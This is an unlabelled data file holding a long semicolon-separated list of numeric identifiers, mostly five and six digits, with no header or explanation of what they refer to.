;81080;35656;38929;104997;39494;77669;18267;42961;57336;11995;19407;94198;82850;49954;69318;25162;72340;89746;83294;96802;52482;15618;86365;85271;16070;66972;72661;11553;82295;11248;29225;72906;95812;78750;62385;17765;15393;73271;38877;10547;78671;42105;10038;29831;23638;93195;102494;10984;102175;55123;72708;51098;16329;34098;22493;200014;90892;10073;102977;65897;17649;42114;81319;57641;103141;79444;32131;104855;69913;97435;83113;10285;20374;72333;42409;33269;14221;73532;49286;25244;11332;18410;17663;99440;21605;15705;99473;18552;11414;49022;76778;70978;90118;20929;45410;80952;91818;10622;71159;79830;65822;48350;73334;89107;59796;11520;40472;73100;25881;23774;35952;99132;85882;35580;62122;53841;66315;62590;93897;62314;62032;58991;49041;77631;54646;87595;81084;63684;39793;18217;12126;10633;56162;77282;45023;62974;23812;59448;92001;92377;43831;12206;56172;69177;11681;51835;77479;57082;18418;43160;72415;73642;66694;18140;51460;102916;21335;50382;11810;51912;89082;33284;15467;10700;80081;85803;19755;22055;69869;62518;22868;40999;14244;11485;19474;59231;12095;40807;63685;15892;79863;11352;29930;59369;64841;96767;11568;62684;69422;11347;38875;104627;74434;80497;10822;49694;22229;102709;92426;91012;81918;25083;24021;88987;97224;100162;84798;19768;65732;22130;55992;99285;11589;55287;24670;85630;66375;11267;64560;55651;12040;10409;82995;11159;99170;42983;15456;78064;33851;53376;58414;11934;89750;35600;21559;17328;65057;62836;57483;35278;18600;86602;100001;72481;66235;70312;74369;10575;25342;39521;99368;74424;11796;45052;84362;94385;14818;58567;67248;93472;90422;31412;92041;38911;54585;38974;93097;34085;18300;28333;11801;81952;18026;90925;20932;32320;97576;36050;53474;10999;33932;76412;72063;26025;55979;16191;10084;44391;50545;85740;73965;57580;81383;82533;200007;49046;64709;31423;65549;92370;100102;10420;74379;35761;33588;85221;62559;76768;103192;93006;94899;22096;25882;69833;11263;11297;32313;103673;57875;69551;18097;83087;97352;24744;78770;103818;83739;85879;14247;82777;66239;66806;22033;18488;72342;104390;11665;87312;23818;63552;76882;33102;57801;11046;70171;63398;57278;14312;25166;55514;10128;65995;76593;39502;84398;10184;88146;91487;87821;31356;31642;104382;10946;20136;16469;10392;34474;62861;59787;31852;78552;69324;11358;10974;88593;17822;83993;85218;101846;24344;85335;83523;65193;10758;200019;32135;10786;66026;10131;71315;96488;80084;90537;10597;71839;14828;19288;49119;18204;15779;81823;49697;15931;84882;63334;14660;99591;50690;13842;53869;21326;31864;33200;44418;60036;66869;94340;22876;72341;57362;73104;67230;14706;103967;19603;20961;11697;23968;10816;79138;58814;10616;14363;35259;10081;44620;89751;64705;56779;14827;50704;34489;18142;88986;47165;46815;54833;71227;74217;57394;18485;52657;14293;55801;76360;29868;74011;78432;63265;59174;72644;70474;70764;74422;74250;48299;15530;105022;34472;95475;58536;14217;16280;77183;80085;42440;19517;64556;11928;87311;31734;71115;40479;46790;10197;73188;45420;93467;53448;85545;17975;103114;10132;19520;10658;86403;93560;24020;32316;73290;72729;34159;56565;55640;58568;72435;62309;11164;40930;103931;23933;11303;93465;10931;80865;11523;33561;10968;81265;13856;10588;26026;17753;101819;29853;25905;54923;43099;11564;14638;73827;40332;51587;26011;50613;11180;18572;67192;34969;38701;55511;12295;50475;99588;76315;78084;70495;67203;21609;18260;19704;97794;63681;58329;11838;10045;58087;29998;47698;101954;51663;64920;45569;45441;10311;77280;83735;81975;11863;12058;10920;82827;20159;44424;48338;20986;69446;61732;17204;73374;70144;31042;17292;86804;87892;34055;97193;18671;10690;23820;11818;18644;25903;69830;19559;70395;69046;84088;80104;39875;93609;30056;53897;72832;102083;69236;35298;86425;12065;60110;96177;10447;68984;94675;17779;16333;31121;43635;100130;59529;35760;33285;92418;64575;14190;42436;44315;10685;19232;58119;10781;93964;10543;93912;47595;57640;53543;56812;49026;25930;103048;64817;93078;10858;18487;99478;10301;17806;44066;17598;92423;76126;13650;97727;87923;11604;69836;11135;82078;100104;10027;62968;15775;19767;25458;92841;73529;23741;85627;86471;63690;10401;57916;63688;58038;77119;94762;47780;22035;63694;25119;23786;92375;104380;31122;49806;78910;19950;35105;100572;19312;61564;47782;31647;73186;18589;99688;70975;42345;17314;42979;44416;91457;73787;91959;100186;61533;80862;100298;48978;58799;40355;82902;47683;70745;10281;43814;10248;72834;24682;86545;46840;54581;34400;16203;17737;10113;10577;96876;96956;99666;22303;78673;21621;79582;11870;76333;100616;31355;17229;51185;46741;92015;93652;70336;74441;11776;53493;74159;10862;66472;60108;17255;32476;79624;77476;65809;96178;81704;51424;11059;26971;15506;45393;15784;63450;19314;14218;17708;46859;57826;71943;68930;11809;83114;69106;14598;76489;34417;11937;23776;22313;10601;76345;49658;102201;14189;78083;33126;73612;63079;18414;81317;16071;14185;69875;79335;62375;66633;10960;79827;44670;10489;11993;40550;41970;18164;72558;77668;46171;61446;99474;56956;64711;88739;20949;100197;20737;91501;80949;86569;24223;18372;86253;81085;22131;47834;100384;39792;31049;96606;62738;53378;10649;73689;72026;38831;10885;10395;70498;94959;22483;17575;82701;94362;44959;20160;67215;57976;44393;56299;59459;104633;87419;10933;21780;38760;89749;91347;72245;18537;81168;76307;73944;25118;16178;76461;89033;104479;55523;14817;38733;50563;55802;21079;21738;12032;18653;44676;10634;35581;10397;11973;57729;32317;11518;45488;25038;20218;95885;93232;45122;57062;64828;21310;68931;11121;45434;44070;66189;42897;11074;11155;69104;11705;15767;57601;10585;96390;10425;85738;25734;63563;17718;10990;103128;82532;33870;73635;91607;65191;80332;69135;85544;44328;34337;87847;61696;47714;104533;24781;44136;10541;12086;83957;66840;83035;62624;20387;89831;78440;27599;92725;20013;18367;74156;88738;35608;103871;58574;99127;73381;10080;73733;17738;72186;23971;71940;66190;86898;101397;66498;31299;91225;42261;22310;29311;76145;10305;23648;58595;65632;16142;101815;40621;72118;95439;78427;93516;61644;62703;14842;52962;10837;50688;11623;11674;73522;10253;87950;19779;82666;69270;51438;19555;67217;13848;40826;52973;95575;47039;82741;99667;22532;62466;11146;69992;46201;10679;49027;96151;72942;79311;17247;94071;26197;17260;25637;71349;63158;22184;72332;17273;25708;10687;82775;91829;31414;32082;18141;12004;100761;11076;35462;18642;56691;16194;92435;50693;88932;90152;10650;25885;73158;83466;77906;68936;82566;46215;11972;71496;86301;31351;99968;10527;97889;15540;73523;91898;59659;49287;61648;64362;99236;15856;70145;74190;31096;57802;85255;32138;87245;40665;64708;10576;78033;102993;11507;47864;10039;92948;25420;25690;76619;43829;43391;83781;61447;10021;18054;79141;81546;67119;22132;78035;77327;22235;103929;69468;94763;71928;35661;84673;18205;35659;65895;48971;103123;11889;10800;36128;49172;66942;85910;17758;40434;52655;56713;81257;34403;56566;11605;61995;69429;11930;11410;88529;59229;72622;88935;90919;58621;19705;63061;16230;69870;63558;77707;84746;101810;100958;34963;11846;95659;59727;31037;73081;100383;78921;11376;49048;103965;34323;10521;94328;101901;76150;42111;71495;14681;24671;20993;10369;29893;31347;97635;35587;21303;78085;21642;34772;36035;20172;11239;22032;10247;64895;70196;11290;90202;11772;94167;79667;81652;11427;20839;97019;81379;49145;95633;91224;60042;44400;72395;93461;34460;96144;21155;70718;85742;22074;21696;80493;16061;94436;11336;11715;57348;69320;24734;57913;92367;62459;49034;53533;47556;92021;38949;78743;52534;11254;94070;63338;11476;20180;21747;15785;16023;39564;73643;69469;25348;30210;57371;29220;42797;58813;87593;88754;58455;94915;30215;47124;61715;81790;10327;10628;10799;92431;69934;45388;91854;45528;56692;64247;30123;81146;12029;17368;21080;69817;72152;90832;35974;25762;100679;67172;39616;34252;22332;10088;17648;30058;97574;12055;104273;35328;64470;84048;12241;73099;66835;11609;60048;200015;87256;63646;20386;10398;69326;12019;67233;101528;87869;1337023;102270;91823;25423;25349;100195;35975;82026;61550;56994;50678;15557;100185;62776;28184;83740;34022;103693;85843;17326;11979;57365;66542;62943;18005;77020;18131;100461;76790;23827;77859;80857;73185;50387;82571;10294;96772;67218;19310;22256;102082;10760;56054;87264;42058;64832;78090;17722;15556;11231;72368;69019;91811;48215;39493;14816;49780;11538;102174;79246;103194;33850;48406;72542;26198;65631;14234;26001;77370;20316;31800;53830;94679;65048;26916;47620;91459;29253;56752;67017;56509;45545;94402;18447;69082;10426;52481;72616;99471;97890;43403;72585;66406;90362;24269;72684;55126;12243;66804;21210;20402;83769;70321;11340;10418;101298;62204;12128;63202;11741;58596;21749;11316;20162;20984;49019;51860;46847;11833;66395;21118;55023;90027;56238;58967;11029;23808;21918;89683;17285;86001;101547;36075;10150;15986;11664;10980;46204;85985;93050;77438;68991;55791;35660;79146;56348;22030;70118;94639;66172;58273;18428;11200;17336;25626;91998;12298;91960;18491;34202;10320;58902;69330;72202;56667;22195;11488;76310;83346;10572;88989;69949;77580;103837;91009;100621;10995;29745;94011;54922;45139;36215;91767;52051;57891;104560;81086;77562;16095;17788;10152;50811;72908;24228;24326;77238;91997;100198;76118;45555;48239;56063;11142;56819;63549;50603;40770;78037;42825;81381;88104;94470;84585;73760;11399;55512;99030;23752;100196;10245;65893;50600;72815;100387;10594;73460;58451;45415;73829;64501;46801;14792;49221;19298;96337;64933;39330;72960;10705;11477;73497;54616;70620;100596;88642;81912;78693;85741;86655;19505;12005;92468;10548;15912;90425;200044;74092;66295;86479;50705;30134;10481;77404;88755;55424;77160;38913;77249;88983;89664;65722;25799;90248;45419;18119;53858;83992;94407;18654;82584;71052;71047;12123;17348;84761;17740;91625;17687;69047;95389;81052;14250;25935;14356;14645;72263;92038;70760;24908;53878;17636;103130;62203;85988;17156;66269;51062;51058;18035;27057;73118;63223;31118;17201;1337012;10759;78385;59249;66382;17754;11070;103787;70273;44938;20177;33271;46702;94933;80224;91817;83355;19229;56243;54299;81299;81599;45133;38208;33220;25090;47713;33849;70546;88697;82587;76279;23769;104667;87243;10851;49998;19385;38651;15565;76883;86673;65886;20393;69018;58518;66425;51834;56044;59173;11487;14233;87313;23976;19604;12239;62945;33134;38986;55289;21225;63645;11847;93079;74427;100191;62120;102589;73969;34964;49008;19255;76121;12287;15941;81048;23805;97142;42821;73019;20807;11011;78676;88905;35806;46183;72257;45591;51911;26060;76916;29217;18036;73477;38888;69039;85537;11879;47785;83289;38650;12643;76945;42052;15433;61647;69865;16170;10702;55551;70914;33443;16390;81081;19681;74038;34369;18373;90150;10897;22034;35787;18680;52157;48927;91441;100463;92818;99363;19545;96777;53546;101530;18124;77779;72397;56216;11881;59407;62077;50989;71321;25931;99932;59915;21245;56318;63064;81740;88382;40872;36205;82853;56818;94956;19253;70619;11228;23642;34818;14788;76453;82821;70882;40334;29899;18215;70071;88592;97741;58385;99585;11421;56413;22127;62031;71642;23807;83370;18489;64683;48949;92432;10734;51179;10157;53322;80554;56821;64688;45060;36100;11051;18199;55733;69014;58204;10427;63325;25736;62716;84961;86420;18374;18289;78892;58798;103694;93196;48985;84403;70075;1337222;41644;99367;59718;66202;16202;10246;15823;40363;12094;47112;21334;10250;103121;44597;17825;33228;86373;45505;100322;84222;73346;87596;24904;40558;11362;100595;10087;52756;29744;47578;33744;20994;25549;22227;101158;85006;22187;62640;51189;11749;42083;23974;66034;70174;85543;77563;97745;17709;81576;67003;49051;103124;99984;58207;19602;62893;31413;20299;16174;86905;104669;13642;90099;64687;46802;62639;46818;48323;1337016;10712;79272;93345;101772;55513;92543;12253;57347;103329;73131;11433;19228;80860;10950;76088;18616;72836;72460;33105;44078;11556;55455;44109;200037;92371;21736;72343;20011;21051;81699;99690;36017;11712;23647;69495;14219;25296;11234;57288;90446;43155;62702;56166;10715;48213;16270;63693;11637;11668;58846;65614;70715;62516;24237;33138;11071;56512;50831;73462;46850;44118;57805;86153;43100;100380;58328;44134;86542;59401;39349;65743;93128;19414;38971;57474;104668;17209;50844;15628;87952;14245;11722;58500;15586;101980;86824;55749;18534;11300;17594;21564;25709;83033;10817;48300;74469;62717;87891;46736;31724;56632;51140;49071;19591;77688;10867;66863;62100;88698;24243;43369;58750;100963;10342;74042;73183;14357;16205;73483;70119;82590;73023;102995;99691;74268;68993;31097;42441;71313;78240;65188;90762;66175;66305;85885;92020;11643;91676;78917;91443;69844;44343;10249;51097;97888;23966;10580;73300;89835;55594;85651;20401;17820;53594;65054;73618;10482;62063;17840;78741;84567;29900;58682;11353;51901;51060;74292;34235;76282;73418;12035;11710;51092;22092;100418;31733;29223;77002;69994;71897;58387;29251;72337;50658;73159;94337;94357;70329;87013;14179;44675;80518;22536;93846;31732;79133;66307;11669;22419;72484;88049;55799;71536;10315;72702;100106;71971;15449;90685;25089;57940;14708;83351;100125;52045;12642;10356;96489;22206;86631;46240;14836;14629;84238;20861;68932;46869;74430;15948;20931;59179;12066;46787;58950;99307;97021;80913;28211;102587;71436;46742;104045;73377;87411;10365;74160;11458;64852;80222;55121;84743;14712;42934;68929;29252;25884;99689;97327;35072;11683;84157;10924;77702;44394;65892;74037;62367;77054;65633;51138;24876;22297;67020;87258;19418;10129;35262;100423;73094;10061;24002;69881;45416;52015;100061;11942;29997;102499;11719;84641;97666;40561;29829;31861;76497;10525;81605;57323;76189;24339;17151;46200;70621;53387;88753;65253;10641;35803;52633;49010;17971;15860;88839;90830;89667;93658;85650;93479;38928;70323;100269;64915;72349;38947;100272;63080;52501;14365;104562;26066;73571;73987;17834;11000;57561;101355;50326;89669;47784;34336;100869;18446;66024;99373;74039;81166;18362;49700;70322;87126;70659;10819;80485;76799;71569;79832;66329;11085;11066;16141;56215;73833;81824;58447;18212;60032;49285;51908;18059;85805;88648;10790;10818;58569;62123;81578;45578;72802;92039;25293;11709;81812;55446;11434;73458;76865;47902;100868;57791;11265;93478;95719;45082;105002;66913;56173;21327;16217;81425;103049;86367;10894;64682;26022;60097;1337227;89080;35030;55024;19401;77057;43350;11236;91283;103782;31416;38789;34419;12513;62181;20902;12201;52504;94580;22016;10138;66358;99479;10640;76993;48288;18528;78036;40335;72486;73757;84342;11204;102428;11673;11185;64853;11922;40577;68960;18533;28292;17650;12041;101395;46350;70625;103507;95440;48946;63643;58410;11540;42873;41946;78111;70122;54607;49033;20212;19762;31720;35658;56091;22267;14830;29306;18200;91763;11648;20089;102712;58184;70318;31738;73024;101844;86657;25424;17830;71431;10555;33485;53846;73123;72258;104381;30187;13858;83773;45517;83745;24267;12026;43830;72212;72370;10549;86675;23780;22091;11279;78769;31167;20002;17772;68994;77281;69033;63449;77502;91385;103971;73984;63073;45120;10957;71860;58816;58662;18551;22089;76947;62393;88054;18592;96776;96143;72335;85183;91015;80190;101089;76798;59377;20376;89871;78446;73863;66473;101977;90424;34477;49011;29835;66518;49045;99510;70164;34821;99185;56174;87940;58749;21293;103972;56511;53389;31645;38663;97191;11625;69518;91994;21619;10942;48375;56959;51172;81784;11440;82903;48298;69241;49645;72417;103868;35712;102035;10382;34476;11515;18691;82620;102426;10843;24736;81739;25250;78859;92355;58233;72662;50381;103670;56337;11527;14632;10105;18023;21694;42367;45609;66933;25625;11849;12252;82776;23979;55422;66925;48926;101114;34113;55449;90361;12050;56061;69240;62561;11687;65874;84963;60027;22336;39805;42877;102271;18245;33876;19395;73710;10888;39470;77577;77390;99528;11408;15902;99360;18021;25764;62627;36170;87671;79746;24330;104662;101837;77727;45501;12209;200038;73018;10360;26963;22024;87946;70210;22232;29965;84642;43027;12300;78515;57031;15453;25707;52615;19403;31344;87763;40449;94359;66415;90024;20095;46195;42055;63550;55732;86122;11235;26925;10583;31047;34970;50323;64259;70684;103530;38745;70877;57701;89081;14337;66894;11315;92842;82710;62357;63227;73211;38925;89747;83292;63553;77167;77705;15403;25198;35716;70166;18137;26187;15572;72663;25571;20951;79334;54987;81209;54603;83465;85256;84052;97740;18254;58815;77558;90833;26021;72392;10704;74036;11781;62351;22027;20340;81737;34220;70165;70462;76213;81264;77283;24743;11739;19549;71783;58582;11585;91384;18478;23830;34726;65551;15452;72515;47859;88904;35087;62798;21725;10410;87764;11726;85581;17802;11800;21212;15469;50528;62628;70136;100299;90679;10099;72556;14296;72367;81002;70544;44986;104128;29923;11151;83288;69928;18504;48383;67002;20889;72619;25766;18506;96451;36073;18524;73986;17160;59717;73615;72602;56284;95632;10406;58435;11063;15968;72347;25525;74091;72217;11320;49962;91885;11445;57539;17363;20836;16337;64839;70919;81148;70095;59368;10979;82503;43614;43061;11816;85567;31643;11659;92419;100105;40551;92967;81049;72728;60023;30133;11101;15421;11756;28228;34021;78557;88053;45438;55438;34044;35609;70714;91947;10516;33771;51585;25886;94404;53503;69553;74443;69041;73375;103663;10386;10958;15764;32503;58402;96484;81050;51123;80914;10009;57939;69049;35788;57750;81375;69280;36152;11017;17592;64703;12025;78544;77402;17583;72814;73135;103785;49042;81023;87222;50418;10025;11370;56451;97995;104657;10092;92425;74290;10936;20158;21219;74150;64503;70847;51141;92839;93656;12014;63267;24266;66420;93513;10177;101112;11221;104324;71350;20342;62691;59789;86609;102324;78089;99511;10259;72861;10544;51833;72431;81004;25091;16250;101264;62985;88410;22253;93113;94354;80916;65928;24757;10883;35635;73419;78391;89663;76362;15911;58583;11190;73737;11469;18297;10711;86151;13657;10686;25486;15964;85125;11260;10057;33868;82505;24701;91673;65642;30186;51457;104654;100416;90200;66391;104480;69017;56468;76112;11552;48382;11224;82531;44065;62787;20743;80305;56921;69136;10107;88643;23967;73455;59244;70887;64297;86913;19679;58331;65766;33447;80333;58660;54587;16137;10839;34398;23841;10464;92724;91819;100762;11115;99282;62786;50577;102803;10723;82082;50306;101531;61529;77689;83183;50383;96625;14647;22204;24725;57468;61517;93736;64264;55508;80911;86371;77812;20383;83290;17786;23755;24337;77666;16136;70726;91633;10699;76526;97724;66584;10059;81757;46704;74153;57475;72091;17210;77683;100056;81746;62589;74154;57351;84962;10306;57469;23641;90626;34266;10390;51852;91321;73405;15822;47760;86419;90354;25767;18419;72062;61994;87373;70461;92369;52614;99934;15937;87672;25636;63454;73684;71535;45019;10293;79388;88903;46784;35297;77908;50509;48436;67019;42089;101841;10961;78430;70138;56822;31729;86123;73305;11663;62292;52979;25000;14295;17716;34097;11492;40876;73384;15967;11270;13647;11887;91460;69021;73307;49047;88652;44072;79145;65741;10660;100171;18612;12069;59228;76256;43065;76708;82740;74016;35820;10595;73463;69284;103872;59851;32030;100182;11499;71499;92428;11182;74040;65676;50448;76132;90447;61610;102861;74216;10898;100153;40887;101522;59115;10546;59713;24713;11060;72586;40798;15909;83871;63638;55814;72061;22362;62718;22531;14289;12044;11769;21726;11426;62376;19301;92362;78512;10606;10267;78447;91322;90794;10513;62678;72093;17214;53335;59047;69955;11694;21228;25673;10450;85842;49176;102683;77681;71881;69368;65030;35566;65740;14183;87951;66838;66448;73411;57272;52585;55925;64932;73646;79855;18101;35711;64726;62745;66274;11282;90423;46223;82568;55788;51191;17701;14684;72427;46864;76278;18135;21238;91626;101788;14323;14833;79130;47900;94396;91972;17986;96657;57824;100158;81187;56301;25706;18028;74421;20869;12266;69876;58454;48294;49274;10932;20391;10063;11068;11419;100961;49958;103856;51368;10529;84828;62311;69171;76491;70727;104743;10815;12115;58580;24238;78433;24756;65615;11672;20129;70925;76914;50345;11626;11755;36101;100297;99633;88907;33871;76332;21239;10319;62125;72965;61490;92540;85350;25567;10158;19553;55437;18298;84636;24334;94390;84825;70258;10313;97212;53386;55959;103869;101842;66859;69074;11862;24700;51187;51161;34434;99031;33532;76574;87928;82042;71890;69996;10060;49226;84009;80225;78481;96727;31357;15553;33137;10996;12072;100805;63318;19941;88415;45544;14635;34410;10144;76357;16173;16169;77221;86947;86104;42962;42427;81486;42439;36074;90005;58566;11916;101300;47619;11415;72877;56585;84674;86326;25248;25738;76149;76428;103513;16120;35299;94960;60063;17320;72959;11805;59817;88700;40467;11691;14298;11885;72878;86851;97744;54291;76089;62293;83438;93533;69873;97892;101978;11767;96771;68997;100840;49689;85274;20338;94251;18493;77389;102084;21561;76967;10785;11706;97470;58987;80964;83464;87327;100786;15437;11610;18120;16224;86915;11611;10939;82778;11324;14733;53534;103865;17972;24909;70094;27535;73385;15462;18138;66935;35627;103515;31134;15988;95715;27803;92493;85846;1337015;83770;34081;59477;32031;72346;10037;52961;57979;18290;34767;33811;61746;102431;58209;48284;40559;73122;10383;19307;62784;45418;100160;62354;55022;88097;66811;103754;81266;53916;46845;93616;59242;74429;22079;11218;62946;55748;72984;34243;103136;59460;69559;67023;33589;66318;76970;102362;83301;59905;84566;38206;70940;91572;33141;65691;78474;14283;83358;11526;40892;103875;76408;22158;20220;63522;79124;65806;55883;40615;14299;72348;20905;63350;92436;69804;62760;10040;20228;25124;102958;101787;17816;59036;104895;66720;17997;62074;102919;87414;59446;73341;32443;40926;44674;10937;90312;25240;62629;15405;33951;10540;18571;64840;64261;57691;11250;90792;17599;73433;65917;67128;51644;1337001;25880;103874;56315;49012;11331;55958;59850;73647;69348;52976;21038;12092;11787;70023;84987;18206;77118;17789;40804;100785;42879;10611;56734;57349;96801;21620;35109;14270;26018;90189;45626;14361;100426;63076;65187;12301;104129;91571;18006;51163;40446;17751;39617;62065;79438;52025;19497;84231;70195;35611;90527;77175;24327;15780;81385;10827;59980;20392;11243;46866;89998;200008;90862;22367;10455;10847;100201;90265;85767;15949;22537;72065;57462;100669;73478;11407;57792;93717;11286;11992;10500;67006;25004;60100;71857;59730;26961;46785;80037;11326;51920;95713;94355;60061;10239;72659;47829;86421;50598;81403;65900;74012;95714;83365;33937;61650;99305;72712;65197;33823;15487;62315;25371;38790;12235;44071;31095;10181;33545;34849;11566;12003;72800;81953;85685;34117;80478;30129;93464;93343;11799;93403;102991;92755;86697;51907;83293;16273;63137;64848;76773;54645;100273;90009;69100;39340;86300;22319;104899;67225;200020;81521;50514;86020;11951;71117;25200;11095;70916;71458;56259;46692;100592;94358;20805;14194;58039;21119;10186;79135;61431;14191;29314;34946;41057;76709;80082;16274;49792;48964;24761;43088;18494;10908;102588;13643;83364;68961;21570;34292;12107;19703;59076;48983;59734;70337;63229;65213;86541;11966;83163;47137;11420;70399;50493;86546;51200;10004;20891;11257;10429;90601;57767;83763;49030;11460;62642;14718;11391;70894;17798;104999;33949;65617;84500;16319;78822;11489;11377;79147;11168;79386;76280;13651;25446;11882;11730;50001;22410;15904;15962;84582;11452;69477;26194;90511;46857;57322;93374;25956;53595;94628;35081;100787;57274;103748;33523;73980;22295;73968;103302;34122;10494;71342;73457;87372;76144;55533;91780;82528;80568;41625;20996;11597;49778;24745;57556;89115;39853;17609;103750;16152;25701;11384;15910;92363;21027;91995;65689;11435;83298;10287;76255;17653;40477;25289;50527;20215;35821;70332;62392;22495;20284;59194;33127;74324;91896;34488;25443;88649;25080;73273;91608;11356;102359;101524;73499;91761;87261;10589;22078;70848;10091;11073;86380;22512;18483;82573;74426;10857;57537;11590;12001;90628;83115;34470;73020;72777;51936;10692;51094;97731;89662;71856;90247;104849;87413;99475;25928;85649;81732;18639;57575;16185;16172;18495;57025;16335;22414;85322;59795;70127;59498;104889;19701;23932;29729;44329;56122;73595;12089;84822;17725;85565;99669;21211;33280;12056;60045;57796;18356;14290;64716;11337;10994;11598;100962;10988;18186;73345;83522;45543;19523;24726;51674;21193;25245;79797;93651;15615;59736;63110;18037;66585;10559;103457;21139;45391;26200;11510;10917;21786;11559;69449;41028;90681;57572;15819;89051;95656;10056;40614;43865;26058;71925;86315;11108;31717;38665;67209;25906;84765;14177;12271;15766;85382;11464;76493;73371;17257;69816;59326;17208;22366;60030;36036;19699;81520;72184;58602;17689;52717;18366;51850;14291;60062;10821;58993;62415;200017;16122;21618;15867;19305;104969;11360;27618;94643;57772;11214;83517;29825;81911;91973;76793;74105;72743;77635;58107;22192;52616;66765;47763;76191;14685;54996;10001;83138;25170;86819;85405;29312;55978;10645;72658;86948;43098;15774;90255;82849;67257;63077;58683;100872;103752;11519;77153;17732;53622;84292;44588;72514;94932;70338;10484;57941;11105;10846;84824;100597;81813;62987;72885;72236;71636;66695;84573;17315;57372;41056;50576;10277;60107;76283;25991;21246;40989;64471;43637;94372;42413;58966;99366;81342;11424;96449;58951;40564;100199;51574;57699;88490;45345;72964;86874;23781;66898;97726;11061;47747;20227;79123;33813;78894;21020;80909;10430;82851;11308;46676;71325;55026;25372;87472;11808;87255;66839;78540;30206;10508;47029;104178;100681;86148;11851;40353;70168;22363;18505;57281;26056;82592;49013;84735;94636;46312;17294;12062;26969;36133;22309;56177;96317;23975;18193;94201;31655;58564;94971;71216;88099;73852;15622;68938;11764;80200;33506;11323;21304;69195;21328;84805;35707;23936;70557;67008;78871;103698;80398;87894;11133;56230;87895;64561;21205;72511;11644;64822;63096;10812;86994;104885;78701;11905;88103;50706;16197;77154;69329;66479;91989;16277;93234;49227;70586;63228;70974;70370;104558;77759;62121;90999;10981;25672;11954;34362;45507;76590;58432;89668;70558;64702;91599;49950;58952;73990;66334;58350;81591;25086;90434;200032;58090;67007;11098;78747;18637;70767;86567;10657;69305;74151;63135;18262;50543;81672;18064;62223;11854;73576;55833;15928;87871;81424;89056;99126;49068;11998;48404;84498;23779;103378;87927;10424;69825;11599;11503;57949;50047;15927;38858;11733;10998;70172;91016;23735;57536;61514;11031;10701;32123;76580;11814;15850;10884;45086;39480;101367;25550;64850;100183;73527;15400;42981;44646;64508;18391;101904;87324;16190;51772;45344;13849;103050;10370;73317;22190;62371;101356;47135;43156;53857;87881;91096;22205;34756;14782;47901;50088;93382;99371;11432;71888;80906;11631;11918;73942;48296;60153;15616;101371;67205;84152;31607;49222;19718;53411;77367;29749;44415;33881;105006;89671;81574;18541;59240;21215;14630;16153;17158;83774;97579;15772;85216;74289;71880;15934;71899;18620;63078;55815;55789;23817;68996;96778;11802;35709;11394;11084;27590;76766;57334;53488;69954;77165;73918;70728;91606;74219;48992;22226;70785;44589;11153;56710;76995;56703;10160;70852;12068;33139;25900;71967;78553;10381;64844;28290;76509;35104;11842;11843;45608;21324;62623;10881;56448;58810;10167;22300;66236;35557;34108;69321;10695;80283;35632;17608;25024;100026;93315;44324;85566;58448;81547;71863;70761;16325;90624;99399;63478;65737;49087;49003;25164;11600;67258;25243;11578;94654;12084;25934;14347;60031;17253;79136;18065;17321;87172;80959;55125;21784;94013;56056;22869;95540;64912;101297;10195;55506;83953;26027;76575;23732;51586;21690;32506;47828;54579;69051;11699;29221;18261;102498;85334;20283;15541;53633;22183;11803;53471;11395;10035;100420;10041;10556;22097;94387;22182;47759;49692;87824;11188;100991;49067;11861;73575;70460;73913;79419;34293;57764;46196;93466;79248;47113;91981;19697;10944;27506;87681;71951;19384;64992;59959;86072;84739;32310;81206;89055;76941;99359;10054;92374;89999;57395;56321;44658;22308;78392;93653;20293;56120;11914;89034;72660;17226;87507;82829;62997;15455;11588;79384;44967;24900;48255;30132;59791;99929;14369;58949;44048;76087;10684;22509;10509;20735;62965;71024;72931;15746;11506;63420;66316;104436;10604;17150;33902;71318;21331;33391;77504;22449;14255;102497;101269;60037;25445;23751;93654;59366;102018;42861;100788;70618;103381;56313;11390;76148;56620;72776;73525;59092;20170;22048;18048;10689;15765;10570;10465;72816;56213;100357;42844;32324;38912;10720;20294;11019;11731;87765;10691;69323;48965;99129;55632;81405;18136;90766;82269;18244;80492;47827;101048;12013;16475;10002;25203;58006;20213;21188;56471;83772;15894;71637;66036;50305;79134;93523;57276;22023;73436;51922;56212;42210;15404;57975;51861;20375;11456;56335;52654;81184;10419;33439;10798;40874;49698;104125;77499;92220;94360;15924;18055;50829;56412;25995;93719;65192;27583;55117;70146;72220;73739;59728;12114;25241;105041;70077;26192;23832;83764;29800;11388;103566;15891;78916;73994;73769;25926;63060;69138;11116;27574;25691;82913;101361;87768;52001;14823;102732;35291;56653;95370;19781;78870;99518;58906;18650;44961;101045;30218;65877;34351;14771;20738;57410;55456;99377;11790;62835;93230;59232;94368;85766;10161;34324;45414;94512;21036;59318;31658;100620;62813;80525;69445;76130;103696;72219;70414;61489;86914;30052;52634;100760;73470;42084;11183;80907;59176;78889;95289;100593;25125;57316;10071;18025;15605;55047;69951;70559;25165;56684;49705;100063;15561;71048;22225;58563;46884;82588;53388;19510;55649;15817;87475;67022;33226;100190;91350;21167;15458;53597;62374;103928;10468;97743;35327;82586;17730;70880;92559;21695;84006;81913;1337020;70922;48952;80459;11210;18615;63280;12077;19558;81489;102495;19402;74262;73101;55532;31719;96609;63203;21596;54586;17309;47715;200034;71040;94336;104887;91284;88460;11873;71212;61493;91730;45394;105003;100256;96906;66178;14728;99668;20885;11628;65254;62565;84881;101845;24015;104850;87767;88654;12122;17211;11682;56009;67213;34397;11404;72509;45017;99665;20862;43876;10261;78510;10903;59044;11217;61624;81249;33877;17745;11208;46238;102959;33848;34947;73301;24758;24711;58847;76413;20988;87945;34111;31051;1337027;84726;19782;61518;71995;64930;56820;11201;96446;77670;71500;58801;71348;10788;101375;45357;40555;92628;63617;76426;14314;94361;16210;72711;92754;80223;81779;56052;40478;10677;31680;57277;19598;38654;81493;51394;18359;74425;94678;69925;21581;14837;26912;76622;31420;60118;20216;14378;54990;49142;104462;103051;71945;17810;11929;34160;44643;58954;17711;61394;12048;93471;43157;25338;15849;47166;94637;97213;85539;57634;77542;55928;77810;76071;95809;80083;46846;46242;10654;71523;14358;86249;63351;10120;54972;10292;90313;72721;72667;18643;78067;100301;80475;64295;11827;64096;86368;91670;82076;11561;55509;70615;79722;23826;64849;10925;34443;52043;86659;10803;47833;78014;55832;76169;84744;65690;19387;47576;65669;88461;27841;99589;103304;81917;40929;11350;57582;84767;11569;55129;71973;92463;20972;71044;68934;103671;59731;77305;15942;21567;87922;25674;94367;11276;25197;11093;80915;62574;48354;100464;42056;65952;55120;51919;16012;87310;50494;62477;23824;58607;71319;60155;100511;58562;66405;38972;12634;31795;36131;11581;97664;19693;38689;82742;22878;84748;17835;71838;57285;10416;90921;42468;22193;17254;42862;70120;56957;59606;55115;97355;23813;44068;40861;15642;10345